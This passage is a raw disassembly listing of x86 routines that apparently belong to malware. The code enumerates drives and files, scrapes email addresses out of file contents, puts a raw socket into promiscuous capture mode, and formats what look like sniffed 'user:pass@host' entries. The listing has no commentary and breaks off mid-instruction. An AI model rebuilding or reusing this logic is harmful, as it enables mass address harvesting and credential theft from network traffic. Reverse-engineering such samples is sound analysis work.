jz short loc_408682 cmp al, 2Dh jnz short loc_408689 loc_408682: ; CODE XREF: sub_408641+8j ; sub_408641+23j ... dec esi cmp esi, [esp+8+arg_4] jnb short loc_40864B loc_408689: ; CODE XREF: sub_408641+19j ; sub_408641+3Fj pop edi lea eax, [esi+1] pop esi retn 8 sub_408641 endp ; =============== S U B R O U T I N E ======================================= sub_408691 proc near ; CODE XREF: sub_408963+75p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, ecx jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_40869B: ; CODE XREF: sub_408691+46j push 1 push 0 push dword ptr [edi+2Ch] call ds:dword_4180B0 test eax, eax jz short loc_4086D9 mov al, [esi] cmp al, 30h jl short loc_4086B6 cmp al, 39h jle short loc_4086D2 loc_4086B6: ; CODE XREF: sub_408691+1Fj cmp al, 41h jl short loc_4086BE cmp al, 5Ah jle short loc_4086D2 loc_4086BE: ; CODE XREF: sub_408691+27j cmp al, 61h jl short loc_4086C6 cmp al, 7Ah jle short loc_4086D2 loc_4086C6: ; CODE XREF: sub_408691+2Fj cmp al, 2Eh jz short loc_4086D2 cmp al, 5Fh jz short loc_4086D2 cmp al, 2Dh jnz short loc_4086D9 loc_4086D2: ; CODE XREF: sub_408691+8j ; sub_408691+23j ... inc esi cmp esi, [esp+8+arg_4] jbe short loc_40869B loc_4086D9: ; CODE XREF: sub_408691+19j ; sub_408691+3Fj pop edi mov eax, esi pop esi retn 8 sub_408691 endp ; =============== S U B R O U T I N E ======================================= sub_4086E0 proc near ; CODE XREF: sub_408963+DFp arg_0 = dword ptr 4 push 2Eh push [esp+4+arg_0] call sub_40CEE6 test eax, eax pop ecx pop ecx jz short loc_408702 push eax call ds:dword_41811C cmp eax, 2 jle short loc_408702 xor eax, eax inc eax jmp short locret_408704 ; --------------------------------------------------------------------------- loc_408702: ; CODE XREF: sub_4086E0+Fj ; sub_4086E0+1Bj xor eax, eax locret_408704: ; CODE XREF: sub_4086E0+20j retn 4 sub_4086E0 endp ; =============== S U B R O U T I N E ======================================= sub_408707 proc near ; CODE XREF: sub_4088DC+Bp arg_0 = dword ptr 4 mov eax, dword_421B60 test eax, eax push esi jz short loc_40872F mov esi, offset dword_421B60 loc_408716: ; CODE XREF: sub_408707+26j push eax push [esp+8+arg_0] add esi, 4 call sub_40CE77 test eax, eax pop ecx pop ecx jnz short loc_408736 mov eax, [esi] test eax, eax jnz short loc_408716 loc_40872F: ; CODE XREF: sub_408707+8j xor eax, eax inc eax loc_408732: ; CODE XREF: sub_408707+31j pop esi retn 4 ; --------------------------------------------------------------------------- loc_408736: ; CODE XREF: sub_408707+20j xor eax, eax jmp short loc_408732 sub_408707 endp ; =============== S U B R O U T I N E ======================================= sub_40873A proc near ; CODE XREF: sub_4088DC+58p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call ds:dword_41811C mov ecx, 0F1E2D3C4h jmp short loc_408757 ; --------------------------------------------------------------------------- loc_40874D: ; CODE XREF: sub_40873A+1Fj movsx edx, byte ptr [esi] dec eax rol ecx, 5 inc esi add ecx, edx loc_408757: ; CODE XREF: sub_40873A+11j test eax, eax jg short loc_40874D mov eax, ecx pop esi retn 4 sub_40873A endp ; =============== S U B R O U T I N E ======================================= sub_408761 proc near ; CODE XREF: sub_40235F+16p ; sub_402400+40p ... arg_0 = dword ptr 4 push esi push edi mov esi, ecx lea edi, [esi+4] push edi call ds:dword_4180DC mov eax, [esi] mov esi, [esp+8+arg_0] push edi mov [esi], eax call ds:dword_4180E0 pop edi mov eax, esi pop esi retn 4 sub_408761 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408785 proc near ; CODE XREF: sub_403BEC+Cp ; sub_403C0A+15p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi push edi mov esi, ecx push dword ptr [esi+2Ch] call ds:dword_4180A8 lea ecx, [esi+1Ch] call sub_40B150 lea eax, [ebp+var_4] push eax mov ecx, esi call sub_408761 mov edi, [ebp+var_4] test edi, edi jz short loc_4087E0 push ebx loc_4087B1: ; CODE XREF: sub_408785+58j test edi, edi jz short loc_4087BA mov ebx, [edi+4] jmp short loc_4087BC ; --------------------------------------------------------------------------- loc_4087BA: ; CODE XREF: sub_408785+2Ej xor ebx, ebx loc_4087BC: ; CODE XREF: sub_408785+33j test ebx, ebx jz short loc_4087CE mov ecx, ebx call sub_40DB59 push ebx call sub_40D0B6 pop ecx loc_4087CE: ; CODE XREF: sub_408785+39j mov ebx, [edi+8] push edi mov ecx, esi call sub_401DB5 test ebx, ebx mov edi, ebx jnz short loc_4087B1 pop ebx loc_4087E0: ; CODE XREF: sub_408785+29j mov edi, ds:dword_4180D8 lea eax, [esi+30h] push eax call edi push dword ptr [esi+2Ch] call ds:dword_4180A4 add esi, 4 push esi call edi pop edi pop esi leave retn sub_408785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087FF proc near ; CODE XREF: sub_403B7F+45p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, ecx push edi lea eax, [esi+30h] xor edi, edi push eax mov [ebp+var_C], esi mov [ebp+var_4], edi mov [ebp+var_10], eax call ds:dword_4180DC lea eax, [ebp+var_8] push eax mov ecx, esi call sub_408761 mov ebx, [ebp+var_8] test ebx, ebx jz loc_4088C9 loc_408835: ; CODE XREF: sub_4087FF+C4j cmp edi, [ebp+arg_0] jge loc_4088C9 test ebx, ebx jz short loc_40884A mov eax, [ebx+4] mov [ebp+var_8], eax jmp short loc_40884E ; --------------------------------------------------------------------------- loc_40884A: ; CODE XREF: sub_4087FF+41j and [ebp+var_8], 0 loc_40884E: ; CODE XREF: sub_4087FF+49j mov eax, [ebp+var_8] mov eax, [eax] test eax, eax jz short loc_40885E push eax call sub_40CD83 pop ecx loc_40885E: ; CODE XREF: sub_4087FF+56j cmp [ebp+var_4], 0 lea esi, [eax+edi+1] lea eax, [esi+1] jnz short loc_408875 push 1 push eax call sub_40CA2C jmp short loc_40887E ; --------------------------------------------------------------------------- loc_408875: ; CODE XREF: sub_4087FF+6Aj push eax push [ebp+var_4] call sub_40CA55 loc_40887E: ; CODE XREF: sub_4087FF+74j pop ecx pop ecx mov ecx, [ebp+var_8] push 0 push offset asc_418210 ; "\n" mov [ebp+var_4], eax call sub_40DBA2 push eax mov eax, [ebp+var_4] add edi, eax push edi call sub_40CD8E pop ecx pop ecx mov ecx, [ebp+var_8] call sub_40DB59 push [ebp+var_8] call sub_40D0B6 pop ecx mov ecx, [ebp+var_C] mov edi, esi mov esi, [ebx+8] push ebx call sub_401DB5 test esi, esi mov ebx, esi jnz loc_408835 loc_4088C9: ; CODE XREF: sub_4087FF+30j ; sub_4087FF+39j push [ebp+var_10] call ds:dword_4180E0 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn 4 sub_4087FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088DC proc near ; CODE XREF: sub_408963+F2p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push edi push ebx mov edi, ecx call sub_408707 test eax, eax jz short loc_40895D mov al, [ebx] cmp al, 30h jl short loc_4088FA cmp al, 39h jle short loc_40895D loc_4088FA: ; CODE XREF: sub_4088DC+18j push ebx call sub_40CD83 cmp eax, 32h pop ecx ja short loc_40895D push 4 call sub_40D0BB test eax, eax pop ecx jz short loc_40891F push ebx mov ecx, eax call sub_40DCEB mov [ebp+arg_0], eax jmp short loc_408923 ; --------------------------------------------------------------------------- loc_40891F: ; CODE XREF: sub_4088DC+34j and [ebp+arg_0], 0 loc_408923: ; CODE XREF: sub_4088DC+41j push esi lea esi, [edi+30h] push esi call ds:dword_4180DC push [ebp+arg_0] mov ecx, edi push ebx call sub_40873A push eax mov ecx, edi call sub_408F07 mov edi, eax test edi, edi jz short loc_408955 mov ecx, edi call sub_40DB59 push edi call sub_40D0B6 pop ecx loc_408955: ; CODE XREF: sub_4088DC+69j push esi call ds:dword_4180E0 pop esi loc_40895D: ; CODE XREF: sub_4088DC+12j ; sub_4088DC+1Cj ... pop edi pop ebx pop ebp retn 4 sub_4088DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408963 proc near ; CODE XREF: sub_408A70+66p var_204 = byte ptr -204h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_4] and [ebp+var_4], 0 push esi mov esi, [ebp+arg_0] add eax, esi cmp esi, eax mov [ebp+var_8], ecx mov [ebp+var_C], esi mov [ebp+arg_4], eax jnb loc_408A6B push ebx push edi loc_40898C: ; CODE XREF: sub_408963+100j mov ebx, [ebp+var_8] push 1 push 0 push dword ptr [ebx+2Ch] call ds:dword_4180B0 test eax, eax jz loc_408A69 inc [ebp+var_4] cmp [ebp+var_4], 186A0h jnz short loc_4089BC push 1 call ds:dword_4180C8 and [ebp+var_4], 0 loc_4089BC: ; CODE XREF: sub_408963+4Bj cmp byte ptr [esi], 40h jnz loc_408A5F push [ebp+var_C] mov ecx, ebx push esi call sub_408641 push [ebp+arg_4] mov ecx, ebx push esi mov edi, eax call sub_408691 mov esi, eax mov [ebp+var_10], esi sub esi, edi xor ebx, ebx lea eax, [esi-6] cmp eax, 1EDh mov [ebp+arg_0], ebx ja short loc_408A5A test esi, esi jle short loc_408A24 loc_4089F7: ; CODE XREF: sub_408963+BFj mov eax, [ebp+var_8] push 1 push 0 push dword ptr [eax+2Ch] call ds:dword_4180B0 test eax, eax jz short loc_408A24 mov cl, [edi] lea eax, [ebp+ebx+var_204] mov [eax], cl cmp byte ptr [edi], 40h jnz short loc_408A1E mov [ebp+arg_0], eax loc_408A1E: ; CODE XREF: sub_408963+B6j inc edi inc ebx cmp ebx, esi jl short loc_4089F7 loc_408A24: ; CODE XREF: sub_408963+92j ; sub_408963+A6j mov eax, [ebp+arg_0] lea ecx, [ebp+var_204] sub eax, ecx cmp eax, 2 mov [ebp+ebx+var_204], 0 jl short loc_408A5A push [ebp+arg_0] mov ecx, [ebp+var_8] call sub_4086E0 test eax, eax jz short loc_408A5A mov ecx, [ebp+var_8] lea eax, [ebp+var_204] push eax call sub_4088DC loc_408A5A: ; CODE XREF: sub_408963+8Ej ; sub_408963+D7j ... mov esi, [ebp+var_10] jmp short loc_408A60 ; --------------------------------------------------------------------------- loc_408A5F: ; CODE XREF: sub_408963+5Cj inc esi loc_408A60: ; CODE XREF: sub_408963+FAj cmp esi, [ebp+arg_4] jb loc_40898C loc_408A69: ; CODE XREF: sub_408963+3Bj pop edi pop ebx loc_408A6B: ; CODE XREF: sub_408963+21j pop esi leave retn 8 sub_408963 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A70 proc near ; CODE XREF: sub_408AF9+47p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi xor esi, esi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_0] mov [ebp+var_4], ecx call ds:dword_418100 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_408AF3 push esi push ebx call ds:dword_418144 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_408AEC push esi push esi push esi push 2 push esi push ebx call ds:dword_418140 cmp eax, esi mov [ebp+var_8], eax jz short loc_408AEC push edi push esi push esi push esi push 4 push eax call ds:dword_41813C mov edi, eax cmp edi, esi jz short loc_408AE2 push [ebp+arg_0] mov ecx, [ebp+var_4] push edi call sub_408963 push edi call ds:dword_418138 loc_408AE2: ; CODE XREF: sub_408A70+5Dj push [ebp+var_8] call ds:dword_4180A4 pop edi loc_408AEC: ; CODE XREF: sub_408A70+36j ; sub_408A70+4Aj push ebx call ds:dword_4180A4 loc_408AF3: ; CODE XREF: sub_408A70+26j pop esi pop ebx leave retn 4 sub_408A70 endp ; =============== S U B R O U T I N E ======================================= sub_408AF9 proc near ; CODE XREF: sub_408B4B+A0p arg_0 = dword ptr 4 mov eax, dword_421AE0 test eax, eax push esi push edi mov edi, ecx mov esi, eax jz short loc_408B46 push ebx mov ebx, offset dword_421AE0 loc_408B0E: ; CODE XREF: sub_408AF9+3Dj push 1 push 0 push dword ptr [edi+2Ch] call ds:dword_4180B0 test eax, eax jz short loc_408B45 push esi push [esp+10h+arg_0] call sub_40CE77 test eax, eax pop ecx pop ecx jnz short loc_408B3A add ebx, 4 mov esi, [ebx] test esi, esi jnz short loc_408B0E jmp short loc_408B45 ; --------------------------------------------------------------------------- loc_408B3A: ; CODE XREF: sub_408AF9+34j push [esp+0Ch+arg_0] mov ecx, edi call sub_408A70 loc_408B45: ; CODE XREF: sub_408AF9+24j ; sub_408AF9+3Fj pop ebx loc_408B46: ; CODE XREF: sub_408AF9+Dj pop edi pop esi retn 4 sub_408AF9 endp ; =============== S U B R O U T I N E ======================================= sub_408B4B proc near ; CODE XREF: sub_408B4B+94p ; sub_408C36+23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ecx push ebx push ebp push esi push edi push 1 push 140h mov [esp+20h+var_8], ecx call sub_40CA2C mov esi, [esp+20h+arg_0] pop ecx pop ecx push esi mov edi, eax call ds:dword_41811C mov ebp, ds:dword_418080 push offset a__1 ; "*.*" push esi mov ebx, eax call ebp push edi push esi call ds:dword_418084 cmp eax, 0FFFFFFFFh mov [esp+18h+arg_0], eax jz loc_408C26 add ebx, esi mov [esp+18h+var_4], ebx lea ebx, [edi+2Ch] loc_408B9E: ; CODE XREF: sub_408B4B+CFj mov eax, [esp+18h+var_4] push offset a__0 ; "." push ebx mov byte ptr [eax], 0 call ds:dword_418088 test eax, eax jz short loc_408BF0 push offset a__ ; ".." push ebx call ds:dword_418088 test eax, eax jz short loc_408BF0 push ebx push esi call ebp test byte ptr [edi], 10h jz short loc_408BE6 push offset asc_41BCCC ; "\\" push esi call ebp push [esp+18h+arg_4] mov ecx, [esp+1Ch+var_8] push esi call sub_408B4B jmp short loc_408BF0 ; --------------------------------------------------------------------------- loc_408BE6: ; CODE XREF: sub_408B4B+81j mov ecx, [esp+18h+var_8] push esi call sub_408AF9 loc_408BF0: ; CODE XREF: sub_408B4B+68j ; sub_408B4B+78j ... push 5 call ds:dword_4180C8 push edi push [esp+1Ch+arg_0] call ds:dword_41808C test eax, eax jz short loc_408C1C mov eax, [esp+18h+var_8] push 1 push 0 push dword ptr [eax+2Ch] call ds:dword_4180B0 test eax, eax jnz short loc_408B9E loc_408C1C: ; CODE XREF: sub_408B4B+BAj push [esp+18h+arg_0] call ds:dword_418090 loc_408C26: ; CODE XREF: sub_408B4B+44j push edi call sub_40CCC5 pop ecx pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn 8 sub_408B4B endp ; =============== S U B R O U T I N E ======================================= sub_408C36 proc near ; CODE XREF: sub_408C6A+50p arg_0 = dword ptr 4 push esi push edi push 1 push 10000h mov edi, ecx call sub_40CA2C pop ecx pop ecx push [esp+8+arg_0] mov esi, eax push esi call ds:dword_4180B4 push esi push esi mov ecx, edi call sub_408B4B push esi call sub_40CCC5 pop ecx pop edi pop esi retn 4 sub_408C36 endp ; =============== S U B R O U T I N E ======================================= sub_408C6A proc near ; DATA XREF: sub_408CDF+33o push ebx push esi push edi mov edi, ecx push 1 push 2000h mov byte ptr [edi+48h], 1 call sub_40CA2C pop ecx pop ecx mov ebx, eax push ebx push 1FFFh call ds:dword_418078 test ebx, ebx mov esi, ebx jz short loc_408CCE loc_408C95: ; CODE XREF: sub_408C6A+62j cmp byte ptr [esi], 0 jz short loc_408CCE push 1 push 0 push dword ptr [edi+2Ch] call ds:dword_4180B0 test eax, eax jz short loc_408CCE push esi call ds:dword_41807C cmp eax, 3 jnz short loc_408CBF push esi mov ecx, edi call sub_408C36 loc_408CBF: ; CODE XREF: sub_408C6A+4Bj push esi call ds:dword_41811C lea esi, [esi+eax+1] test esi, esi jnz short loc_408C95 loc_408CCE: ; CODE XREF: sub_408C6A+29j ; sub_408C6A+2Ej ... push ebx call sub_40CCC5 pop ecx mov byte ptr [edi+48h], 0 pop edi pop esi pop ebx retn 4 sub_408C6A endp ; =============== S U B R O U T I N E ======================================= sub_408CDF proc near ; CODE XREF: sub_403CCB+78p push ebx push esi push edi mov edi, ecx call sub_408D8E lea esi, [edi+1Ch] xor ebx, ebx push 1 lea ecx, [edi+2Ch] mov [esi+0Ch], ebx mov [esi+8], ebx mov [esi+4], ebx call sub_4012FC lea eax, [edi+30h] push eax call ds:dword_4180D4 mov byte ptr [edi+48h], 1 push ebx mov ecx, esi mov dword ptr [esi+0Ch], offset sub_408C6A mov [esi+8], edi mov [esi+4], ebx call sub_40174B mov eax, edi pop edi pop esi pop ebx retn sub_408CDF endp ; =============== S U B R O U T I N E ======================================= sub_408D2A proc near ; CODE XREF: sub_409170+91p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0 push [esp+4+arg_4] push [esp+8+arg_0] push dword ptr [ecx+1Ch] call ds:dword_4181A0 retn 8 sub_408D2A endp ; =============== S U B R O U T I N E ======================================= sub_408D40 proc near ; CODE XREF: sub_409170+15Ap ; sub_409170+1C9p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor eax, eax cmp [ecx], al jz short locret_408D64 loc_408D4A: ; CODE XREF: sub_408D40+1Cj mov dl, [eax+ecx] cmp dl, 0Dh jz short loc_408D60 cmp dl, 0Ah jz short loc_408D60 inc eax cmp byte ptr [eax+ecx], 0 jnz short loc_408D4A jmp short locret_408D64 ; --------------------------------------------------------------------------- loc_408D60: ; CODE XREF: sub_408D40+10j ; sub_408D40+15j mov byte ptr [eax+ecx], 0 locret_408D64: ; CODE XREF: sub_408D40+8j ; sub_408D40+1Ej retn 4 sub_408D40 endp ; =============== S U B R O U T I N E ======================================= sub_408D67 proc near ; CODE XREF: sub_408F6A+22p push esi mov esi, ecx call sub_40DB48 lea ecx, [esi+4] call sub_40DB48 mov eax, esi pop esi retn sub_408D67 endp ; =============== S U B R O U T I N E ======================================= sub_408D7B proc near ; CODE XREF: sub_409006+3Ap push esi mov esi, ecx lea ecx, [esi+4] call sub_40DB59 mov ecx, esi pop esi jmp sub_40DB59 sub_408D7B endp ; =============== S U B R O U T I N E ======================================= sub_408D8E proc near ; CODE XREF: sub_4021DE+2Dp ; sub_4021DE+4Bp ... push esi mov esi, ecx and dword ptr [esi], 0 lea eax, [esi+4] push eax call ds:dword_4180D4 mov eax, esi pop esi retn sub_408D8E endp ; =============== S U B R O U T I N E ======================================= sub_408DA2 proc near ; CODE XREF: sub_401F3E+14p ; sub_408F07+16p arg_0 = dword ptr 4 mov eax, [ecx] jmp short loc_408DB1 ; --------------------------------------------------------------------------- loc_408DA6: ; CODE XREF: sub_408DA2+11j mov ecx, [eax] cmp ecx, [esp+arg_0] jz short locret_408DB5 mov eax, [eax+8] loc_408DB1: ; CODE XREF: sub_408DA2+2j test eax, eax jnz short loc_408DA6 locret_408DB5: ; CODE XREF: sub_408DA2+Aj retn 4 sub_408DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DB8 proc near ; CODE XREF: sub_40939B+31p var_34 = dword ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov edi, 0FFFFh push edi mov [ebp+var_10], ecx call sub_40D0BB xor esi, esi mov [ebp+var_4], eax mov [ebp+var_14], 1 mov [ebp+var_C], esi mov [esp+34h+var_34], 10000h call sub_40D0BB pop ecx push esi push 1 push 2 mov ebx, eax call ds:dword_4181D0 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_408E20 loc_408E00: ; CODE XREF: sub_408DB8+B4j cmp ebx, esi jz short loc_408E0B loc_408E04: ; CODE XREF: sub_408DB8+DAj ; sub_408DB8+F4j ... push ebx loc_408E05: ; CODE XREF: sub_408DB8+12Ej call sub_40D0B6 pop ecx loc_408E0B: ; CODE XREF: sub_408DB8+4Aj cmp [ebp+var_4], esi jz short loc_408E19 push [ebp+var_4] call sub_40D0B6 pop ecx loc_408E19: ; CODE XREF: sub_408DB8+56j xor al, al jmp loc_408F02 ; --------------------------------------------------------------------------- loc_408E20: ; CODE XREF: sub_408DB8+46j push 10h lea eax, [ebp+var_24] push esi push eax call sub_40CCD9 add esp, 0Ch push 925h mov [ebp+var_24], 2 call ds:dword_4181E8 push esi push esi mov [ebp+var_22], ax lea eax, [ebp+var_C] push eax push edi mov edi, ds:dword_4181E0 push ebx push esi push esi push 48000016h push [ebp+var_8] call edi cmp eax, 0FFFFFFFFh jnz short loc_408E6E push [ebp+var_8] call ds:dword_4181E4 jmp short loc_408E00 ; --------------------------------------------------------------------------- loc_408E6E: ; CODE XREF: sub_408DB8+A9j mov eax, [ebx] cmp eax, esi mov ecx, [ebx+4] jle short loc_408E87 add ecx, 4 loc_408E7A: ; CODE XREF: sub_408DB8+CDj mov edx, [ecx] dec eax add ecx, 10h cmp eax, esi mov [ebp+var_20], edx jg short loc_408E7A loc_408E87: ; CODE XREF: sub_408DB8+BDj push [ebp+var_8] call ds:dword_4181E4 cmp [ebx], esi jz loc_408E04 push esi push 3 push 2 call ds:dword_4181D0 cmp eax, 0FFFFFFFFh mov ecx, [ebp+var_10] mov [ecx+1Ch], eax jz loc_408E04 push 10h lea ecx, [ebp+var_24] push ecx push eax call ds:dword_41819C cmp eax, 0FFFFFFFFh jz loc_408E04 push esi push esi lea eax, [ebp+var_C] push eax push esi push esi push 4 lea eax, [ebp+var_14] push eax mov eax, [ebp+var_10] push 98000001h push dword ptr [eax+1Ch] call edi test eax, eax push ebx jnz loc_408E05 call sub_40D0B6 cmp [ebp+var_4], esi pop ecx jz short loc_408F00 push [ebp+var_4] call sub_40D0B6 pop ecx loc_408F00: ; CODE XREF: sub_408DB8+13Dj mov al, 1 loc_408F02: ; CODE XREF: sub_408DB8+63j pop edi pop esi pop ebx leave retn sub_408DB8 endp ; =============== S U B R O U T I N E ======================================= sub_408F07 proc near ; CODE XREF: sub_401FF5+EEp ; sub_402512+A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, ecx push edi lea ebx, [esi+4] push ebx call ds:dword_4180DC mov edi, [esp+0Ch+arg_0] push edi mov ecx, esi call sub_408DA2 test eax, eax jz short loc_408F41 mov ecx, [eax+4] mov edx, [esp+0Ch+arg_4] mov [eax+4], edx mov esi, ecx loc_408F32: ; CODE XREF: sub_408F07+61j push ebx call ds:dword_4180E0 pop edi mov eax, esi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_408F41: ; CODE XREF: sub_408F07+1Dj push 10h call sub_40D0BB pop ecx mov [eax], edi mov ecx, [esp+0Ch+arg_4] mov [eax+4], ecx and dword ptr [eax+0Ch], 0 mov ecx, [esi] mov [eax+8], ecx mov ecx, [esi] test ecx, ecx jz short loc_408F64 mov [ecx+0Ch], eax loc_408F64: ; CODE XREF: sub_408F07+58j mov [esi], eax xor esi, esi jmp short loc_408F32 sub_408F07 endp ; =============== S U B R O U T I N E ======================================= sub_408F6A proc near ; CODE XREF: sub_409170+176p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi push [esp+8+arg_0] mov edi, ecx xor ebx, ebx call sub_401F3E test eax, eax jnz short loc_408FB4 push esi push 8 call sub_40D0BB cmp eax, ebx pop ecx jz short loc_408F95 mov ecx, eax call sub_408D67 mov esi, eax jmp short loc_408F97 ; --------------------------------------------------------------------------- loc_408F95: ; CODE XREF: sub_408F6A+1Ej xor esi, esi loc_408F97: ; CODE XREF: sub_408F6A+29j mov eax, [esp+0Ch+arg_4] push ebx push dword ptr [eax] mov ecx, esi call sub_40DB5E push esi push [esp+10h+arg_0] mov ecx, edi call sub_408F07 mov bl, 1 pop esi loc_408FB4: ; CODE XREF: sub_408F6A+11j pop edi mov al, bl pop ebx retn 8 sub_408F6A endp ; =============== S U B R O U T I N E ======================================= sub_408FBB proc near ; CODE XREF: sub_409170+1E5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push [esp+8+arg_0] mov esi, ecx xor ebx, ebx call sub_401F3E test eax, eax jz short loc_408FFF push edi lea edi, [esi+34h] push edi call ds:dword_4180DC push [esp+0Ch+arg_0] mov ecx, esi call sub_401F3E mov ecx, [esp+0Ch+arg_4] push ebx push dword ptr [ecx] add eax, 4 mov ecx, eax call sub_40DB5E push edi mov bl, 1 call ds:dword_4180E0 pop edi loc_408FFF: ; CODE XREF: sub_408FBB+11j pop esi mov al, bl pop ebx retn 8 sub_408FBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409006 proc near ; CODE XREF: sub_403DE0+46p ; sub_409128+25p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, ecx lea eax, [ebx+34h] push esi push eax mov [ebp+var_8], eax call ds:dword_4180DC lea eax, [ebp+var_4] push eax mov ecx, ebx call sub_408761 mov esi, [ebp+var_4] test esi, esi jz short loc_40905E push edi loc_40902F: ; CODE XREF: sub_409006+55j test esi, esi jz short loc_409038 mov edi, [esi+4] jmp short loc_40903A ; --------------------------------------------------------------------------- loc_409038: ; CODE XREF: sub_409006+2Bj xor edi, edi loc_40903A: ; CODE XREF: sub_409006+30j test edi, edi jz short loc_40904C mov ecx, edi call sub_408D7B push edi call sub_40D0B6 pop ecx loc_40904C: ; CODE XREF: sub_409006+36j mov edi, [esi+8] push esi mov ecx, ebx call sub_401DB5 test edi, edi mov esi, edi jnz short loc_40902F pop edi loc_40905E: ; CODE XREF: sub_409006+26j push [ebp+var_8] call ds:dword_4180E0 pop esi pop ebx leave retn sub_409006 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40906B proc near ; CODE XREF: sub_403DE0+15p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi push 4 mov esi, ecx call sub_40D0BB xor edi, edi cmp eax, edi pop ecx jz short loc_40908F mov ecx, eax call sub_40DB48 mov ebx, eax jmp short loc_409091 ; --------------------------------------------------------------------------- loc_40908F: ; CODE XREF: sub_40906B+17j xor ebx, ebx loc_409091: ; CODE XREF: sub_40906B+22j lea eax, [esi+34h] push eax mov [ebp+var_C], eax call ds:dword_4180DC lea eax, [ebp+var_4] push eax mov ecx, esi call sub_408761 jmp short loc_409111 ; --------------------------------------------------------------------------- loc_4090AB: ; CODE XREF: sub_40906B+ABj cmp eax, edi mov ecx, [eax] mov [ebp+var_8], ecx jz short loc_4090B9 mov esi, [eax+4] jmp short loc_4090BB ; --------------------------------------------------------------------------- loc_4090B9: ; CODE XREF: sub_40906B+47j xor esi, esi loc_4090BB: ; CODE XREF: sub_40906B+4Cj push edi push dword ptr [esi] mov ecx, ebx call sub_40DBA2 push edi push offset asc_41BFF0 ; ":" mov ecx, ebx call sub_40DBA2 push edi push dword ptr [esi+4] mov ecx, ebx call sub_40DBA2 push edi push offset a@ ; "@" mov ecx, ebx call sub_40DBA2 push edi push [ebp+var_8] call ds:dword_4181AC push eax mov ecx, ebx call sub_40DBA2 push edi push offset asc_418210 ; "\n" mov ecx, ebx call sub_40DBA2 lea ecx, [ebp+var_4] call sub_404CFB loc_409111: ; CODE XREF: sub_40906B+3Ej mov eax, [ebp+var_4] cmp eax, edi jnz short loc_4090AB push [ebp+var_C] call ds:dword_4180E0 pop edi pop esi mov eax, ebx pop ebx leave retn sub_40906B endp ; =============== S U B R O U T I N E ======================================= sub_409128 proc near ; CODE XREF: sub_403C35+Cp ; sub_403C53+15p push esi push edi mov esi, ecx push dword ptr [esi+30h] call ds:dword_4180A8 lea ecx, [esi+20h] call sub_40B150 mov eax, [esi+1Ch] test eax, eax jz short loc_40914B push eax call ds:dword_4181E4 loc_40914B: ; CODE XREF: sub_409128+1Aj mov ecx, esi call sub_409006 mov edi, ds:dword_4180D8 lea eax, [esi+34h] push eax call edi push dword ptr [esi+30h] call ds:dword_4180A4 add esi, 4 push esi call edi pop edi pop esi retn sub_409128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409170 proc near ; DATA XREF: sub_40939B+3Do var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1024h call sub_4011B0 push ebx push esi push edi mov edi, ecx push 10000h mov [ebp+var_4], edi call sub_40D0BB push 11h mov ebx, eax call sub_40D0BB push 0FFFFh xor esi, esi push esi push ebx mov [ebp+var_8], eax call sub_40CCD9 add esp, 14h jmp loc_409367 ; --------------------------------------------------------------------------- loc_4091B1: ; CODE XREF: sub_409170+205j mov eax, [edi+1Ch] mov [ebp+var_1020], eax lea eax, [ebp+var_20] push eax push esi push esi lea eax, [ebp+var_1024] push eax push esi mov [ebp+var_20], esi mov [ebp+var_1C], 64h mov [ebp+var_1024], 1 call ds:dword_4181A4 test eax, eax jle loc_409364 push 0FFFFh push esi push ebx call sub_40CCD9 add 